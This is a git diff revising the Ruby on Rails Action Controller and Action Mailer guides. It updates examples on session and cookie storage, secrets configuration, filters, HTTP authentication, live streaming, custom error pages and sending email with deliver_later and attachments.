All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
-For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
+For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited).
-The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
-If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
Read more about session storage in the [Security Guide](security.html).
@@ -194,34 +363,49 @@ If you need a different session storage mechanism, you can change it in the `con
```ruby
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
-# (create the session table with "script/rails g active_record:session_migration")
-# YourApp::Application.config.session_store :active_record_store
+# (create the session table with "rails g active_record:session_migration")
+# Rails.application.config.session_store :active_record_store
```
Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
```ruby
# Be sure to restart your server when you modify this file.
-YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+Rails.application.config.session_store :cookie_store, key: '_your_app_session'
```
You can also pass a `:domain` key and specify the domain name for the cookie:
```ruby
# Be sure to restart your server when you modify this file.
-YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
```
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml`
```ruby
# Be sure to restart your server when you modify this file.
-# Your secret key for verifying the integrity of signed cookies.
+# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
+
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
-YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+ secret_key_base: a75d...
+
+test:
+ secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
```
NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
@@ -245,7 +429,7 @@ class ApplicationController < ActionController::Base
# logging out removes it.
def current_user
@_current_user ||= session[:current_user_id] &&
- User.find_by_id(session[:current_user_id])
+ User.find_by(id: session[:current_user_id])
end
end
```
@@ -373,7 +557,7 @@ end
Cookies
-------
-Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash:
+Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
```ruby
class CommentsController < ApplicationController
@@ -403,10 +587,66 @@ end
Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
-Rendering xml and json data
+Rails also provides a signed cookie jar and an encrypted cookie jar for storing
+sensitive data. The signed cookie jar appends a cryptographic signature on the
+cookie values to protect their integrity. The encrypted cookie jar encrypts the
+values in addition to signing them, so that they cannot be read by the end user.
+Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
+for more details.
+
+These special cookie jars use a serializer to serialize the assigned values into
+strings and deserializes them into Ruby objects on read.
+
+You can specify what serializer to use:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :json
+```
+
+The default serializer for new applications is `:json`. For compatibility with
+old applications with existing cookies, `:marshal` is used when `serializer`
+option is not specified.
+
+You may also set this option to `:hybrid`, in which case Rails would transparently
+deserialize existing (`Marshal`-serialized) cookies on read and re-write them in
+the `JSON` format. This is useful for migrating existing applications to the
+`:json` serializer.
+
+It is also possible to pass a custom serializer that responds to `load` and
+`dump`:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+```
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+ def set_cookie
+ cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+ redirect_to action: 'read_cookie'
+ end
+
+ def read_cookie
+ cookies.encrypted[:expiration_date] # => "2014-03-20"
+ end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+Rendering XML and JSON data
---------------------------
-ActionController makes it extremely easy to render `xml` or `json` data. If you generate a controller using scaffolding then it would look something like this:
+ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this:
```ruby
class UsersController < ApplicationController
@@ -421,7 +661,7 @@ class UsersController < ApplicationController
end
```
-Notice that in the above case code is `render xml: @users` and not `render xml: @users.to_xml`. That is because if the input is not string then rails automatically invokes `to_xml` .
+You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us.
Filters
-------
@@ -444,15 +684,6 @@ class ApplicationController < ActionController::Base
redirect_to new_login_url # halts request cycle
end
end
-
- # The logged_in? method simply returns true if the user is logged
- # in and false otherwise. It does this by "booleanizing" the
- # current_user method we created previously using a double ! operator.
- # Note that this is not common in Ruby and is discouraged unless you
- # really mean to convert something into true or false.
- def logged_in?
- !!current_user
- end
end
```
@@ -479,7 +710,7 @@ In addition to "before" filters, you can also run filters after an action has be
For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
```ruby
-class ChangesController < ActionController::Base
+class ChangesController < ApplicationController
around_action :wrap_in_transaction, only: :show
private
@@ -509,14 +740,17 @@ The first is to use a block directly with the *_action methods. The block receiv
```ruby
class ApplicationController < ActionController::Base
before_action do |controller|
- redirect_to new_login_url unless controller.send(:logged_in?)
+ unless controller.send(:logged_in?)
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url
+ end
end
end
```
Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
```ruby
class ApplicationController < ActionController::Base
@@ -524,16 +758,16 @@ class ApplicationController < ActionController::Base
end
class LoginFilter
- def self.filter(controller)
+ def self.before(controller)
unless controller.send(:logged_in?)
- controller.flash[:error] = "You must be logged in"
+ controller.flash[:error] = "You must be logged in to access this section"
controller.redirect_to controller.new_login_url
end
end
end
```
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action.
Request Forgery Protection
--------------------------
@@ -633,30 +867,30 @@ Rails comes with two built-in HTTP authentication mechanisms:
HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
```ruby
-class AdminController < ApplicationController
+class AdminsController < ApplicationController
http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
end
```
-With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
### HTTP Digest Authentication
HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
```ruby
-class AdminController < ApplicationController
+class AdminsController < ApplicationController
USERS = { "lifo" => "world" }
before_action :authenticate
private
- def authenticate
- authenticate_or_request_with_http_digest do |username|
- USERS[username]
+ def authenticate
+ authenticate_or_request_with_http_digest do |username|
+ USERS[username]
+ end
end
- end
end
```
@@ -683,13 +917,13 @@ class ClientsController < ApplicationController
private
- def generate_pdf(client)
- Prawn::Document.new do
- text client.name, align: :center
- text "Address: #{client.address}"
- text "Email: #{client.email}"
- end.render
- end
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name, align: :center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
end
```
@@ -751,6 +985,92 @@ Now the user can request to get a PDF version of a client just by adding ".pdf"
GET /clients/1.pdf
```
+### Live Streaming of Arbitrary Data
+
+Rails allows you to stream more than just files. In fact, you can stream anything
+you would like in a response object. The `ActionController::Live` module allows
+you to create a persistent connection with a browser. Using this module, you will
+be able to send arbitrary data to the browser at specific points in time.
+
+#### Incorporating Live Streaming
+
+Including `ActionController::Live` inside of your controller class will provide
+all actions inside of the controller the ability to stream data. You can mix in
+the module like so:
+
+```ruby
+class MyController < ActionController::Base
+ include ActionController::Live
+
+ def stream
+ response.headers['Content-Type'] = 'text/event-stream'
+ 100.times {
+ response.stream.write "hello world\n"
+ sleep 1
+ }
+ ensure
+ response.stream.close
+ end
+end
+```
+
+The above code will keep a persistent connection with the browser and send 100
+messages of `"hello world\n"`, each one second apart.
+
+There are a couple of things to notice in the above example. We need to make
+sure to close the response stream. Forgetting to close the stream will leave
+the socket open forever. We also have to set the content type to `text/event-stream`
+before we write to the response stream. This is because headers cannot be written
+after the response has been committed (when `response.committed` returns a truthy
+value), which occurs when you `write` or `commit` the response stream.
+
+#### Example Usage
+
+Let's suppose that you were making a Karaoke machine and a user wants to get the
+lyrics for a particular song. Each `Song` has a particular number of lines and
+each line takes time `num_beats` to finish singing.
+
+If we wanted to return the lyrics in Karaoke fashion (only sending the line when
+the singer has finished the previous line), then we could use `ActionController::Live`
+as follows:
+
+```ruby
+class LyricsController < ActionController::Base
+ include ActionController::Live
+
+ def show
+ response.headers['Content-Type'] = 'text/event-stream'
+ song = Song.find(params[:id])
+
+ song.each do |line|
+ response.stream.write line.lyrics
+ sleep line.num_beats
+ end
+ ensure
+ response.stream.close
+ end
+end
+```
+
+The above code sends the next line only after the singer has completed the previous
+line.
+
+#### Streaming Considerations
+
+Streaming arbitrary data is an extremely powerful tool. As shown in the previous
+examples, you can choose when and what to send across a response stream. However,
+you should also note the following things:
+
+* Each response stream creates a new thread and copies over the thread local
+ variables from the original thread. Having too many thread local variables can
+ negatively impact performance. Similarly, a large number of threads can also
+ hinder performance.
+* Failing to close the response stream will leave the corresponding socket open
+ forever. Make sure to call `close` whenever you are using a response stream.
+* WEBrick servers buffer all responses, and so including `ActionController::Live`
+ will not work. You must use a web server which does not automatically buffer
+ responses.
+
Log Filtering
-------------
@@ -758,7 +1078,7 @@ Rails keeps a log file for each environment in the `log` folder. These are extre
### Parameters Filtering
-You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+You can filter out sensitive request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
```ruby
config.filter_parameters << :password
@@ -766,7 +1086,7 @@ config.filter_parameters << :password
### Redirects Filtering
-Sometimes it's desirable to filter out from log files some sensible locations your application is redirecting to.
+Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to.
You can do that by using the `config.filter_redirect` configuration option:
```ruby
@@ -806,9 +1126,9 @@ class ApplicationController < ActionController::Base
private
- def record_not_found
- render text: "404 Not Found", status: 404
- end
+ def record_not_found
+ render plain: "404 Not Found", status: 404
+ end
end
```
@@ -820,10 +1140,10 @@ class ApplicationController < ActionController::Base
private
- def user_not_authorized
- flash[:error] = "You don't have access to this section."
- redirect_to :back
- end
+ def user_not_authorized
+ flash[:error] = "You don't have access to this section."
+ redirect_to :back
+ end
end
class ClientsController < ApplicationController
@@ -837,15 +1157,74 @@ class ClientsController < ApplicationController
private
- # If the user is not authorized, just throw the exception.
- def check_authorization
- raise User::NotAuthorized unless current_user.admin?
- end
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
end
```
+WARNING: You shouldn't do `rescue_from Exception` or `rescue_from StandardError` unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development). If you would like to dynamically generate error pages, see [Custom errors page](#custom-errors-page).
+
NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
+
+### Custom errors page
+
+You can customize the layout of your error handling using controllers and views.
+First define your app own routes to display the errors page.
+
+* `config/application.rb`
+
+ ```ruby
+ config.exceptions_app = self.routes
+ ```
+
+* `config/routes.rb`
+
+ ```ruby
+ match '/404', via: :all, to: 'errors#not_found'
+ match '/422', via: :all, to: 'errors#unprocessable_entity'
+ match '/500', via: :all, to: 'errors#server_error'
+ ```
+
+Create the controller and views.
+
+* `app/controllers/errors_controller.rb`
+
+ ```ruby
+ class ErrorsController < ActionController::Base
+ layout 'error'
+
+ def not_found
+ render status: :not_found
+ end
+
+ def unprocessable_entity
+ render status: :unprocessable_entity
+ end
+
+ def server_error
+ render status: :server_error
+ end
+ end
+ ```
+
+* `app/views`
+
+ ```
+ errors/
+ not_found.html.erb
+ unprocessable_entity.html.erb
+ server_error.html.erb
+ layouts/
+ error.html.erb
+ ```
+
+Do not forget to set the correct status code on the controller as shown before.
+
+WARNING: You should avoid using the database or any complex operations because the user is already on the error page. Generating another error while on an error page could cause issues like presenting an empty page for the users.
+
Force HTTPS protocol
--------------------
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index aaf04f4256..ba7c16aa1d 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -1,7 +1,9 @@
Action Mailer Basics
====================
-This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
+This guide provides you with all you need to get started in sending and
+receiving emails from and to your application, and many internals of Action
+Mailer. It also covers how to test your mailers.
After reading this guide, you will know:
@@ -9,67 +11,110 @@ After reading this guide, you will know:
* How to generate and edit an Action Mailer class and mailer view.
* How to configure Action Mailer for your environment.
* How to test your Action Mailer classes.
+
--------------------------------------------------------------------------------
Introduction
------------
-Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from `ActionMailer::Base` and live in `app/mailers`. Those mailers have associated views that appear alongside controller views in `app/views`.
+Action Mailer allows you to send emails from your application using mailer classes
+and views. Mailers work very similarly to controllers. They inherit from
+`ActionMailer::Base` and live in `app/mailers`, and they have associated views
+that appear in `app/views`.
Sending Emails
--------------
-This section will provide a step-by-step guide to creating a mailer and its views.
+This section will provide a step-by-step guide to creating a mailer and its
+views.
### Walkthrough to Generating a Mailer
#### Create the Mailer
```bash
-$ rails generate mailer UserMailer
+$ bin/rails generate mailer UserMailer
create app/mailers/user_mailer.rb
+create app/mailers/application_mailer.rb
invoke erb
create app/views/user_mailer
+create app/views/layouts/mailer.text.erb
+create app/views/layouts/mailer.html.erb
invoke test_unit
create test/mailers/user_mailer_test.rb
+create test/mailers/previews/user_mailer_preview.rb
+```
+
+```ruby
+# app/mailers/application_mailer.rb
+class ApplicationMailer < ActionMailer::Base
+ default "from@example.com"
+ layout 'mailer'
+end
+
+# app/mailers/user_mailer.rb
+class UserMailer < ApplicationMailer
+end
```
-So we got the mailer, the views, and the tests.
+As you can see, you can generate mailers just like you use other generators with
+Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
+a directory for views, and a test.
+
+If you didn't want to use a generator, you could create your own file inside of
+app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+
+```ruby
+class MyMailer < ActionMailer::Base
+end
+```
#### Edit the Mailer
+Mailers are very similar to Rails controllers. They also have methods called
+"actions" and use views to structure the content. Where a controller generates
+content like HTML to send back to the client, a Mailer creates a message to be
+delivered via email.
+
`app/mailers/user_mailer.rb` contains an empty mailer:
```ruby
-class UserMailer < ActionMailer::Base
- default from: 'from@example.com'
+class UserMailer < ApplicationMailer
end
```
-Let's add a method called `welcome_email`, that will send an email to the user's registered email address:
+Let's add a method called `welcome_email`, that will send an email to the user's
+registered email address:
```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
default from: 'notifications@example.com'
def welcome_email(user)
@user = user
@url = 'http://example.com/login'
- mail(to: user.email, subject: 'Welcome to My Awesome Site')
+ mail(to: @user.email, subject: 'Welcome to My Awesome Site')
end
end
```
-Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
+Here is a quick explanation of the items presented in the preceding method. For
+a full list of all available options, please have a look further down at the
+Complete List of Action Mailer user-settable attributes section.
-* `default Hash` - This is a hash of default values for any email you send, in this case we are setting the `:from` header to a value for all messages in this class, this can be overridden on a per email basis
-* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in.
+* `default Hash` - This is a hash of default values for any email you send from
+this mailer. In this case we are setting the `:from` header to a value for all
+messages in this class. This can be overridden on a per-email basis.
+* `mail` - The actual email message, we are passing the `:to` and `:subject`
+headers in.
-Just like controllers, any instance variables we define in the method become available for use in the views.
+Just like controllers, any instance variables we define in the method become
+available for use in the views.
#### Create a Mailer View
-Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML:
+Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
+will be the template used for the email, formatted in HTML:
```html+erb
<!DOCTYPE html>
@@ -81,7 +126,7 @@ Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
<h1>Welcome to example.com, <%= @user.name %></h1>
<p>
You have successfully signed up to example.com,
- your username is: <%= @user.login %>.<br/>
+ your username is: <%= @user.login %>.<br>
</p>
<p>
To login to the site, just follow this link: <%= @url %>.
@@ -91,7 +136,9 @@ Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
</html>
```
-It is also a good idea to make a text part for this email. To do this, create a file called `welcome_email.text.erb` in `app/views/user_mailer/`:
+Let's also make a text part for this email. Not all clients prefer HTML emails,
+and so sending both is best practice. To do this, create a file called
+`welcome_email.text.erb` in `app/views/user_mailer/`:
```erb
Welcome to example.com, <%= @user.name %>
@@ -105,22 +152,32 @@ To login to the site, just follow this link: <%= @url %>.
Thanks for joining and have a great day!
```
-When you call the `mail` method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email.
+When you call the `mail` method now, Action Mailer will detect the two templates
+(text and HTML) and automatically generate a `multipart/alternative` email.
-#### Wire It Up So That the System Sends the Email When a User Signs Up
+#### Calling the Mailer
-There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
+Mailers are really just another way to render a view. Instead of rendering a
+view and sending out the HTTP protocol, they are just sending it out through the
+email protocols instead. Due to this, it makes sense to just have your
+controller tell the Mailer to send an email when a user is successfully created.
Setting this up is painfully simple.
-First off, we need to create a simple `User` scaffold:
+First, let's create a simple `User` scaffold:
```bash
-$ rails generate scaffold user name:string email:string login:string
-$ rake db:migrate
+$ bin/rails generate scaffold user name email login
+$ bin/rake db:migrate
```
-Now that we have a user model to play with, we will just edit the `app/controllers/users_controller.rb` make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to `UserMailer.welcome_email` right after the user is successfully saved:
+Now that we have a user model to play with, we will just edit the
+`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver
+an email to the newly created user by editing the create action and inserting a
+call to `UserMailer.welcome_email` right after the user is successfully saved.
+
+Action Mailer is nicely integrated with Active Job so you can send emails outside
+of the request-response cycle, so the user doesn't have to wait on it:
```ruby
class UsersController < ApplicationController
@@ -131,8 +188,8 @@ class UsersController < ApplicationController
respond_to do |format|
if @user.save
- # Tell the UserMailer to send a welcome Email after save
- UserMailer.welcome_email(@user).deliver
+ # Tell the UserMailer to send a welcome email after save
+ UserMailer.welcome_email(@user).deliver_later
format.html { redirect_to(@user, notice: 'User was successfully created.') }
format.json { render json: @user, status: :created, location: @user }
@@ -145,78 +202,94 @@ class UsersController < ApplicationController
end
```
-This provides a much simpler implementation that does not require the registering of observers and the like.
-
-The method `welcome_email` returns a `Mail::Message` object which can then just be told `deliver` to send itself out.
-
-### Auto encoding header values
-
-Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
-
-If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
-
-For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.
-
-### Complete List of Action Mailer Methods
-
-There are just three methods that you need to send pretty much any email message:
-
-* `headers` - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call `headers[:field_name] = 'value'`.
-* `attachments` - Allows you to add attachments to your email. For example, `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
-* `mail` - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
+NOTE: Active Job's default behavior is to execute jobs ':inline'. So, you can use
+`deliver_later` now to send emails, and when you later decide to start sending
+them from a background job, you'll only need to set up Active Job to use a queueing
+backend (Sidekiq, Resque, etc).
-#### Custom Headers
+If you want to send emails right away (from a cronjob for example) just call
+`deliver_now`:
-Defining custom headers are simple, you can do it one of three ways:
+```ruby
+class SendWeeklySummary
+ def run
+ User.find_each do |user|
+ UserMailer.weekly_summary(user).deliver_now
+ end
+ end
+end
+```
-* Defining a header field as a parameter to the `mail` method:
+The method `welcome_email` returns a `ActionMailer::MessageDelivery` object which
+can then just be told `deliver_now` or `deliver_later` to send itself out. The
+`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If
+you want to inspect, alter or do anything else with the `Mail::Message` object you can
+access it with the `message` method on the `ActionMailer::MessageDelivery` object.
- ```ruby
- mail('X-Spam' => value)
- ```
+### Auto encoding header values
-* Passing in a key value assignment to the `headers` method:
+Action Mailer handles the auto encoding of multibyte characters inside of
+headers and bodies.
- ```ruby
- headers['X-Spam'] = value
- ```
+For more complex examples such as defining alternate character sets or
+self-encoding text first, please refer to the
+[Mail](https://github.com/mikel/mail) library.
-* Passing a hash of key value pairs to the `headers` method:
+### Complete List of Action Mailer Methods
- ```ruby
- headers {'X-Spam' => value, 'X-Special' => another_value}
- ```
+There are just three methods that you need to send pretty much any email
+message:
-TIP: All `X-Value` headers per the RFC2822 can appear more than once. If you want to delete an `X-Value` header, you need to assign it a value of `nil`.
+* `headers` - Specifies any header on the email you want. You can pass a hash of
+ header field names and value pairs, or you can call `headers[:field_name] =
+ 'value'`.
+* `attachments` - Allows you to add attachments to your email. For example,
+ `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
+* `mail` - Sends the actual email itself. You can pass in headers as a hash to
+ the mail method as a parameter, mail will then create an email, either plain
+ text, or multipart, depending on what email templates you have defined.
#### Adding Attachments
-Adding attachments has been simplified in Action Mailer 3.0.
+Action Mailer makes it very easy to add attachments.
-* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
+* Pass the file name and content and Action Mailer and the
+ [Mail gem](https://github.com/mikel/mail) will automatically guess the
+ mime_type, set the encoding and create the attachment.
```ruby
attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
```
-NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method.
+ When the `mail` method will be triggered, it will send a multipart email with
+ an attachment, properly nested with the top level being `multipart/mixed` and
+ the first part being a `multipart/alternative` containing the plain text and
+ HTML email messages.
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something
+different, encode your content and pass in the encoded content and encoding in a
+`Hash` to the `attachments` method.
-* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
+* Pass the file name and specify headers and content and Action Mailer and Mail
+ will use the settings you pass in.
```ruby
encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
- attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
- encoding: 'SpecialEncoding',
- content: encoded_content }
+ attachments['filename.jpg'] = {
+ mime_type: 'application/x-gzip',
+ encoding: 'SpecialEncoding',
+ content: encoded_content
+ }
```
-NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
+NOTE: If you specify an encoding, Mail will assume that your content is already
+encoded and not try to Base64 encode it.
#### Making Inline Attachments
Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
-* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
```ruby
def welcome
@@ -224,7 +297,9 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p
end
```
-* Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method:
+* Then in your view, you can just reference `attachments` as a hash and specify
+ which attachment you want to show, calling `url` on it and then passing the
+ result into the `image_tag` method:
```html+erb
<p>Hello there, this is our image</p>
@@ -232,18 +307,21 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p
<%= image_tag attachments['image.jpg'].url %>
```
-* As this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as you could for any other image:
+* As this is a standard call to `image_tag` you can pass in an options hash
+ after the attachment URL as you could for any other image:
```html+erb
<p>Hello there, this is our image</p>
- <%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
- class: 'photos' %>
+ <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
```
#### Sending Email To Multiple Recipients
-It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the `:to` key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
+It is possible to send email to one or more recipients in one email (e.g.,
+informing all admins of a new signup) by setting the list of emails to the `:to`
+key. The list of emails can be an array of email addresses or a single string
+with the addresses separated by commas.
```ruby
class AdminMailer < ActionMailer::Base
@@ -257,35 +335,41 @@ class AdminMailer < ActionMailer::Base
end
```
-The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+The same format can be used to set carbon copy (Cc:) and blind carbon copy
+(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
#### Sending Email With Name
-Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
-to format the email address in the format `"Name <email>"`.
+Sometimes you wish to show the name of the person instead of just their email
+address when they receive the email. The trick to doing that is to format the
+email address in the format `"Full Name <email>"`.
```ruby
def welcome_email(user)
@user = user
- email_with_name = "#{@user.name} <#{@user.email}>"
+ email_with_name = %("#{@user.name}" <#{@user.email}>)
mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
end
```
### Mailer Views
-Mailer views are located in the `app/views/name_of_mailer_class` directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the `welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` for the HTML version and `welcome_email.text.erb` for the plain text version.
